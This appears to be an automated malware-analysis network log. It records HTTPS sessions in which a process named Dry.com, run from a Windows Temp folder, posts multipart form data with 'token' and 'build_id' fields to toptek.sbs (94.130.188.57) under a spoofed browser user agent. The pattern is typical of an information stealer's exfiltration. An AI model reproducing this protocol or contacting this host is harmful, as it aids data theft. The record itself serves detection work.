2024-12-21 09:16:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49964	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:16 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HVAS26F37QIEUAAI5FUA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 131557 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:16:16 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 56 41 53 32 36 46 33 37 51 49 45 55 41 41 49 35 46 55 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 48 56 41 53 32 36 46 33 37 51 49 45 55 41 41 49 35 46 55 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 48 56 41 53 32 36 46 33 37 51 49 45 55 41 41 49 35 46 55 41 0d 0a 43 6f 6e 74 Data Ascii: ------HVAS26F37QIEUAAI5FUAContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------HVAS26F37QIEUAAI5FUAContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------HVAS26F37QIEUAAI5FUACont
2024-12-21 09:16:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:16 UTC	717	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:16:17 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49970	94.130.188.57	443

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:18 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----MO8YUKFUSJM7YMOPPPHV User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 6990993 Connection: Keep-Alive Cache-Control: no-cache
